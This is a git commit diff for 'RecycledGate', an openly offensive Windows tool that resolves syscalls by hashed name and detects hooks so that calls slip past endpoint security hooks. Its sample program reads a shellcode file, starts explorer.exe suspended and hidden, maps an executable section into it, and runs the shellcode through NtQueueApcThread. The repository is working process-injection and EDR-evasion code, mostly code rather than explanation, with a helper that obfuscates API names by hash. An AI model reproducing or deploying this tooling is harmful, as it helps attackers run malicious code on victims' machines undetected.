commit 9861872194de9f061c5cd03e257f9616eb3f2b4b Author: thefLink Date: Tue Feb 1 21:03:38 2022 +0100 first commit diff --git a/HashGenerator/HashGenerator.sln b/HashGenerator/HashGenerator.sln new file mode 100644 index 0000000..b7280e4 --- /dev/null +++ b/HashGenerator/HashGenerator.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29920.165 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HashGenerator", "HashGenerator.vcxproj", "{8CAAF7E2-7269-4653-87A2-33B20B5EAECA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.ActiveCfg = Debug|x64 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x64.Build.0 = Debug|x64 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.ActiveCfg = Debug|Win32 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Debug|x86.Build.0 = Debug|Win32 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.ActiveCfg = Release|x64 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x64.Build.0 = Release|x64 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.ActiveCfg = Release|Win32 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D0590FC5-3F51-4BE2-AF10-3A8C146B274E} + EndGlobalSection +EndGlobal diff --git a/HashGenerator/HashGenerator.vcxproj b/HashGenerator/HashGenerator.vcxproj new file mode 100644 index 0000000..73ace7b --- /dev/null +++ b/HashGenerator/HashGenerator.vcxproj @@ -0,0 +1,146 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {8CAAF7E2-7269-4653-87A2-33B20B5EAECA} + HashGenerator + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/HashGenerator/HashGenerator.vcxproj.filters b/HashGenerator/HashGenerator.vcxproj.filters new file mode 100644 index 0000000..533c489 --- /dev/null +++ b/HashGenerator/HashGenerator.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/HashGenerator/HashGenerator.vcxproj.user b/HashGenerator/HashGenerator.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/HashGenerator/HashGenerator.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/HashGenerator/Main.c b/HashGenerator/Main.c new file mode 100644 index 0000000..da77331 --- /dev/null +++ b/HashGenerator/Main.c @@ -0,0 +1,36 @@ + +#include "windows.h" +#include "stdio.h" + +unsigned long djb2(unsigned char* str) +{ + unsigned long hash = 5381; + int c; + + while (c = *str++) + hash = ((hash << 5) + hash) + c; + + return hash; +} + + +unsigned long xor_hash(unsigned long hash, unsigned long key) { + return hash ^ key; +} + +int main(int argc, char** argv) { + + if (argc < 2) + return 0; + + unsigned char* name = (unsigned char*)argv[1]; + unsigned long hash = djb2(name); + unsigned long hash_crypted = xor_hash(hash, 0x41424344); + + printf("%x\n", hash); + printf("%x\n", hash_crypted); + + + return 0; +} + diff --git a/README.md b/README.md new file mode 100644 index 0000000..e3ae4a1 --- /dev/null +++ b/README.md @@ -0,0 +1,35 @@ +# RecycledGate + +This is just another implementation of Hellsgate + Halosgate/Tartarosgate. + +However, this implementation makes sure that **all system calls still go through ntdll.dll** to avoid the usage of direct systemcalls. +To do so, I parse the ntdll for nonhooked syscall-stubs and re-use existing ```syscall;ret``` instructions - thus the name of this project. + +## Usage + +Here is a snippet, which should be self-explanatory. +```c +Syscall sysNtCreateSection = { 0x00 }; +NTSTATUS ntStatus; + +dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection); +if (dwSuccess == FAIL) + goto exit; + +PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate); +ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); +if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to create section\n"); + goto exit; +} + +``` +**Note**: +* No instructions must exist between the call to **PrepareSyscall** and **DoSyscall** +* The hash algorithm used is djb2. All hashes must be encrypted with the key **0x41424344**. You can use the Hashgenerator.c file in the samples folder + +## Credits + +* Am0nsec and RtlMateusz for [Original Hellsgate implementation](https://github.com/am0nsec/HellsGate) +* Boku7 for inspiration and his [Halosgate implementation](https://github.com/boku7/AsmHalosGate/) +* Sektor7 for the amazing [windows evasion class](https://sektor7.net) diff --git a/Sample/Defines.h b/Sample/Defines.h new file mode 100644 index 0000000..8460585 --- /dev/null +++ b/Sample/Defines.h @@ -0,0 +1,9 @@ +#pragma once +#include "windows.h" + +typedef VOID(KNORMAL_ROUTINE) ( + IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2); + +typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; diff --git a/Sample/Main.c b/Sample/Main.c new file mode 100644 index 0000000..1994583 --- /dev/null +++ b/Sample/Main.c @@ -0,0 +1,155 @@ +#include "windows.h" + +#include "Defines.h" +#include "../src/RecycledGate.h" + +#include "stdio.h" + +extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); +extern DoSyscall(); + +PVOID findNtDll(void); +DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall); + + +// https://github.com/Microwave89/createuserprocess/blob/master/createuserprocess/main.c + +int +main(int argc, char** argv) { + + + DWORD dwSuccess = FAIL, dwRead = 0; + NTSTATUS ntStatus = 0; + SIZE_T sizeBuffer = 0; + + Syscall sysNtCreateSection = { 0x00 }, sysNtMapViewOfSection = { 0x00 }, sysNtQueueApcThread = { 0x00 }, sysNtResumeThread = { 0x00 }, sysNtCreateThreadEx = { 0x00 }; + HANDLE hSection = NULL, hFile = NULL; + PVOID pViewLocal = NULL, pViewRemote = NULL, pSH = NULL; + + STARTUPINFOA si = { 0x00 }; + PROCESS_INFORMATION pi = { 0x00 }; + + if (argc < 2) { + printf("%s shellcode.bin\n", argv[0]); + goto exit; + } + + dwSuccess = getSyscall(0x916c6394, &sysNtCreateSection); + if (dwSuccess == FAIL) + goto exit; + + dwSuccess = getSyscall(0x625d5a2e, &sysNtMapViewOfSection); + if (dwSuccess == FAIL) + goto exit; + + dwSuccess = getSyscall(0x9523617c, &sysNtQueueApcThread); + if (dwSuccess == FAIL) + goto exit; + + dwSuccess = getSyscall(0x6d397e74, &sysNtResumeThread); + if (dwSuccess == FAIL) + goto exit; + + dwSuccess = getSyscall(0x8a4e6274, &sysNtCreateThreadEx); + if (dwSuccess == FAIL) + goto exit; + + hFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("[-] Failed to open: %s\n", argv[1]); + goto exit; + } + + sizeBuffer = GetFileSize(hFile, NULL); + if (sizeBuffer == 0) { + printf("[-] File is empty?\n"); + goto exit; + } + + pSH = VirtualAlloc(0, sizeBuffer, MEM_COMMIT, PAGE_READWRITE); + if (pSH == NULL) { + printf("Out of memory o.0\n"); + goto exit; + } + + dwSuccess = ReadFile(hFile, pSH, (DWORD)sizeBuffer, &dwRead, NULL); + if (dwSuccess == 0) { + printf("[*] Failed to read\n"); + goto exit; + } + + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.dwFlags |= STARTF_USESTDHANDLES; + + dwSuccess = CreateProcessA("C:\\Windows\\explorer.exe", NULL, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi); + if (dwSuccess == FAIL) + goto exit; + + PrepareSyscall(sysNtCreateSection.dwSyscallNr, sysNtCreateSection.pRecycledGate); + ntStatus = DoSyscall(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sizeBuffer, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); + if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to create section\n"); + goto exit; + } + printf("[*] Created section: 0x%p\n", hSection); + + PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate); + ntStatus = DoSyscall(hSection, GetCurrentProcess(), &pViewLocal, 0, 0, NULL, (PLARGE_INTEGER)&sizeBuffer, 2, 0, PAGE_READWRITE); + if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to map view of section locally\n"); + goto exit; + } + printf("[*] Mapped section locally: 0x%p\n", pViewLocal); + + PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate); + ntStatus = DoSyscall(hSection, pi.hProcess, &pViewRemote, 0, 0, NULL, &sizeBuffer, 2, 0, PAGE_EXECUTE_READWRITE); + if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to map view of section remotely\n"); + goto exit; + } + printf("[*] Mapped section remote: 0x%p\n", pViewRemote); + + for (int i = 0; i < sizeBuffer; i++) + *((PBYTE)pViewLocal + i) = *((PBYTE)pSH + i); + + /*HANDLE hHostThread = INVALID_HANDLE_VALUE; + PrepareSyscall(sysNtCreateThreadEx.dwSyscallNr, sysNtCreateThreadEx.pRecycledGate); + ntStatus = DoSyscall(&hHostThread, 0x1FFFFF, NULL, (HANDLE)pi.hProcess, (LPTHREAD_START_ROUTINE)pViewRemote, NULL, FALSE, NULL, NULL, NULL, NULL); + + printf("now doing"); + getchar();*/ + + PrepareSyscall(sysNtQueueApcThread.dwSyscallNr, sysNtQueueApcThread.pRecycledGate); + ntStatus = DoSyscall(pi.hThread, (PKNORMAL_ROUTINE)pViewRemote, pViewRemote, NULL, NULL); + if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to call NtQueueApcThread\n"); + goto exit; + } + printf("[*] NtQueueApcThread successfull\n"); + + + PrepareSyscall(sysNtResumeThread.dwSyscallNr, sysNtResumeThread.pRecycledGate); + ntStatus = DoSyscall(pi.hThread, NULL); + if (!NT_SUCCESS(ntStatus)) { + printf("[-] Failed to resume thread\n"); + goto exit; + } + printf("[*] Resumed thread\n"); + + + dwSuccess = SUCCESS; + +exit: + + if (pi.hProcess) + CloseHandle(pi.hProcess); + + if (pi.hThread) + CloseHandle(pi.hThread); + + return dwSuccess; + +} + diff --git a/Sample/Sample.sln b/Sample/Sample.sln new file mode 100644 index 0000000..876114e --- /dev/null +++ b/Sample/Sample.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29920.165 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Sample", "Sample.vcxproj", "{E417A056-9215-4325-9629-C85464402C75}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.ActiveCfg = Debug|x64 + {E417A056-9215-4325-9629-C85464402C75}.Debug|x64.Build.0 = Debug|x64 + {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.ActiveCfg = Debug|Win32 + {E417A056-9215-4325-9629-C85464402C75}.Debug|x86.Build.0 = Debug|Win32 + {E417A056-9215-4325-9629-C85464402C75}.Release|x64.ActiveCfg = Release|x64 + {E417A056-9215-4325-9629-C85464402C75}.Release|x64.Build.0 = Release|x64 + {E417A056-9215-4325-9629-C85464402C75}.Release|x86.ActiveCfg = Release|Win32 + {E417A056-9215-4325-9629-C85464402C75}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {6BC8154B-26FE-4B3B-86C6-E0C7E79B2FB4} + EndGlobalSection +EndGlobal diff --git a/Sample/Sample.vcxproj b/Sample/Sample.vcxproj new file mode 100644 index 0000000..dec4edb --- /dev/null +++ b/Sample/Sample.vcxproj @@ -0,0 +1,158 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + {E417A056-9215-4325-9629-C85464402C75} + Sample + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + Document + + + + + + + + + + + \ No newline at end of file diff --git a/Sample/Sample.vcxproj.filters b/Sample/Sample.vcxproj.filters new file mode 100644 index 0000000..373c24c --- /dev/null +++ b/Sample/Sample.vcxproj.filters @@ -0,0 +1,38 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + + + Source Files + + + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/Sample/Sample.vcxproj.user b/Sample/Sample.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/Sample/Sample.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Sample/testshellcode/HelloWorld.bin b/Sample/testshellcode/HelloWorld.bin new file mode 100644 index 0000000..65575e9 Binary files /dev/null and b/Sample/testshellcode/HelloWorld.bin differ diff --git a/src/GateTrampolin.asm b/src/GateTrampolin.asm new file mode 100644 index 0000000..397d4ce --- /dev/null +++ b/src/GateTrampolin.asm @@ -0,0 +1,23 @@ +.code + +PrepareSyscall PROC + + xor r11, r11 + xor r12, r12 + mov r11, rcx + mov r12, rdx + ret + +PrepareSyscall ENDP + +DoSyscall Proc + + xor rax, rax + mov r10, rcx + mov eax, r11d + jmp r12 + + +DoSyscall ENDP + +end \ No newline at end of file diff --git a/src/RecycledGate.c b/src/RecycledGate.c new file mode 100644 index 0000000..1022d0d --- /dev/null +++ b/src/RecycledGate.c @@ -0,0 +1,240 @@ +#include "RecycledGate.h" + +DWORD getSyscall(DWORD dwCryptedHash, Syscall* pSyscall) { + + PIMAGE_DOS_HEADER pDosHdr = NULL; + PIMAGE_NT_HEADERS pNtHdrs = NULL; + PIMAGE_EXPORT_DIRECTORY pExportDir = NULL; + + PVOID pGate = NULL, pNtdllBase = NULL, pStub = NULL; + PDWORD pdwAddrOfNames = NULL, pdwAddrOfFunctions = NULL; + PWORD pwAddrOfNameOrdinales = NULL; + DWORD dwSyscallNr = 0, dwSuccess = FAIL; + WORD wIdxStub = 0, wIdxfName = 0; + PCHAR pFunctionName = NULL; + BOOL bHooked = FALSE; + +#ifdef _DEBUG + printf("[*] Resolving Syscall: %x\n", dwCryptedHash); +#endif + + pNtdllBase = findNtDll(); + if (pNtdllBase == NULL) + goto exit; + + pDosHdr = (PIMAGE_DOS_HEADER)pNtdllBase; + pNtHdrs = (PIMAGE_NT_HEADERS)((PBYTE)pNtdllBase + pDosHdr->e_lfanew); + pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pNtdllBase + pNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress); + + pdwAddrOfFunctions = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfFunctions); + pdwAddrOfNames = (PDWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNames); + pwAddrOfNameOrdinales = (PWORD)((PBYTE)pNtdllBase + pExportDir->AddressOfNameOrdinals); + + for (wIdxfName = 0; wIdxfName < pExportDir->NumberOfNames; wIdxfName++) { + + pFunctionName = (PCHAR)((PBYTE)pNtdllBase + pdwAddrOfNames[wIdxfName]); + pStub = (PVOID)((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[wIdxfName]]); + + if (djb2(pFunctionName) == xor_hash(dwCryptedHash)) + break; + + } + + if (pStub == NULL) + goto exit; + + for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { + + if (*((PBYTE)pStub + wIdxStub) == 0xe9) { // This syscall stub is hooked + bHooked = TRUE; + break; + } + + if (*((PBYTE)pStub + wIdxStub) == 0xc3) // Too far + goto exit; + + if (*((PBYTE)pStub + wIdxStub) == 0x4c && *((PBYTE)pStub + wIdxStub + 1) == 0x8b && *((PBYTE)pStub + wIdxStub + 2) == 0xd1 && + *((PBYTE)pStub + wIdxStub + 3) == 0xb8 && *((PBYTE)pStub + wIdxStub + 6) == 0x00 && *((PBYTE)pStub + wIdxStub + 7) == 0x00) { + + BYTE low = *((PBYTE)pStub + 4 + wIdxStub); + BYTE high = *((PBYTE)pStub + 5 + wIdxStub); + + dwSyscallNr = (high << 8) | low; + +#ifdef _DEBUG + printf("\tFound syscall using Hells Gate\n"); +#endif + + break; + + } + } + + if (bHooked) { // Check syscalls around our hooked syscall + + + for (wIdxfName = 1; wIdxfName <= pExportDir->NumberOfFunctions; wIdxfName++) { + if ((PBYTE)pStub + wIdxfName * DOWN < ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[pExportDir->NumberOfFunctions - 1]])) { + if ( + *((PBYTE)pStub + wIdxfName * DOWN) == 0x4c + && *((PBYTE)pStub + 1 + wIdxfName * DOWN) == 0x8b + && *((PBYTE)pStub + 2 + wIdxfName * DOWN) == 0xd1 + && *((PBYTE)pStub + 3 + wIdxfName * DOWN) == 0xb8 + && *((PBYTE)pStub + 6 + wIdxfName * DOWN) == 0x00 + && *((PBYTE)pStub + 7 + wIdxfName * DOWN) == 0x00) { + + BYTE high = *((PBYTE)pStub + 5 + wIdxfName * DOWN); + BYTE low = *((PBYTE)pStub + 4 + wIdxfName * DOWN); + dwSyscallNr = (high << 8) | low - wIdxfName; + + pStub = (PVOID)((PBYTE)pStub + wIdxfName * DOWN); + + break; + + } + } + + if ((PBYTE)pStub + wIdxfName * UP > ((PBYTE)pNtdllBase + pdwAddrOfFunctions[pwAddrOfNameOrdinales[0]])) { + + if (*((PBYTE)pStub + wIdxfName * UP) == 0x4c + && *((PBYTE)pStub + 1 + wIdxfName * UP) == 0x8b + && *((PBYTE)pStub + 2 + wIdxfName * UP) == 0xd1 + && *((PBYTE)pStub + 3 + wIdxfName * UP) == 0xb8 + && *((PBYTE)pStub + 6 + wIdxfName * UP) == 0x00 + && *((PBYTE)pStub + 7 + wIdxfName * UP) == 0x00) { + + BYTE high = *((PBYTE)pStub + 5 + wIdxfName * UP); + BYTE low = *((PBYTE)pStub + 4 + wIdxfName * UP); + dwSyscallNr = (high << 8) | low + wIdxfName; + + pStub = (PVOID)((PBYTE)pStub + wIdxfName * UP); + + break; + + } + } + } + +#ifdef _DEBUG + printf("\tFound syscall using Halos gate\n"); +#endif + + } + + if (pStub && dwSyscallNr) { // Last step: Search for syscall ; ret to use directly + for (wIdxStub = 0; wIdxStub < SYS_STUB_SIZE; wIdxStub++) { + if (*((PBYTE)pStub + wIdxStub) == 0x0f && *((PBYTE)pStub + wIdxStub + 1) == 0x05 && *((PBYTE)pStub + wIdxStub + 2) == 0xc3) { // syscall; ret - sequence? + pGate = (LPVOID)((PBYTE)pStub + wIdxStub); + break; + } + } + } + +#ifdef _DEBUG + printf("\tFound syscall; ret instruction\n"); +#endif + + if (pGate == NULL || dwSyscallNr == 0x00) + goto exit; + + pSyscall->pRecycledGate = pGate; + pSyscall->dwSyscallNr = dwSyscallNr; + +#ifdef _DEBUG + printf("\tSyscall nr: %d\n", dwSyscallNr); + printf("\tGate: %p\n", pGate); +#endif + + dwSuccess = SUCCESS; + +exit: + + return dwSuccess; + +} + +PVOID findNtDll(void) { + + PPEB pPeb = NULL; + PPEB_LDR_DATA pLdrData = NULL; + PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL, pModuleStart = NULL; + PUNICODE_STR pDllName = NULL; + + PVOID pNtdllBase = NULL; + + pPeb = (PPEB)__readgsqword(0x60); + pLdrData = pPeb->pLdr; + pModuleEntry = pModuleStart = (PLDR_DATA_TABLE_ENTRY)pLdrData->InMemoryOrderModuleList.Flink; + + do { + + pDllName = &pModuleEntry->BaseDllName; + + if (pDllName->pBuffer == NULL) + return NULL; + + if (djb2_unicode(toLower(pDllName->pBuffer)) == xor_hash(0x6391f6a9)) { + pNtdllBase = (PVOID)pModuleEntry->DllBase; + break; + } + + pModuleEntry = (PLDR_DATA_TABLE_ENTRY)pModuleEntry->InMemoryOrderModuleList.Flink; + + } while (pModuleEntry != pModuleStart); + + return pNtdllBase; + +} + +unsigned long +djb2_unicode(const wchar_t* str) +{ + + unsigned long hash = 5381; + DWORD val; + + while (*str != 0) { + val = (DWORD)*str++; + hash = ((hash << 5) + hash) + val; + } + + return hash; + +} + +unsigned long +djb2(unsigned char* str) +{ + unsigned long hash = 5381; + int c; + + while ((c = *str++)) + hash = ((hash << 5) + hash) + c; + + return hash; +} + +WCHAR* +toLower(WCHAR* str) +{ + + WCHAR* start = str; + + while (*str) { + + if (*str <= L'Z' && *str >= 'A') { + *str += 32; + } + + str += 1; + + } + + return start; + +} + +unsigned long +xor_hash(unsigned long hash) { + return hash ^ HASH_KEY; +} diff --git a/src/RecycledGate.h b/src/RecycledGate.h new file mode 100644 index 0000000..debf7be --- /dev/null +++ b/src/RecycledGate.h @@ -0,0 +1,156 @@ +#pragma once +#pragma once + +#include "windows.h" + +#ifdef _DEBUG +#include "stdio.h" +#endif + +#define FAIL 0 +#define SUCCESS 1 + +#define HASH_KEY 0x41424344 +#define SYS_STUB_SIZE 32 + +#define UP -32 +#define DOWN 32 + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) + +typedef struct { + + DWORD dwSyscallNr; + PVOID pRecycledGate; + +} Syscall; + +typedef struct _UNICODE_STR { + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STR ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _PEB_LDR_DATA +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _PEB_FREE_BLOCK +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +typedef struct _PEB +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} PEB, * PPEB; + +PVOID findNtDll(void); +WCHAR* toLower(WCHAR* str); + +extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate); +extern DoSyscall(); + +PVOID findNtDll(void); +DWORD getSyscall(DWORD crypted_hash, Syscall* pSyscall); + +unsigned long djb2_unicode(const wchar_t* str); +unsigned long djb2(unsigned char* str); +unsigned long xor_hash(unsigned long hash); \ No newline at end of file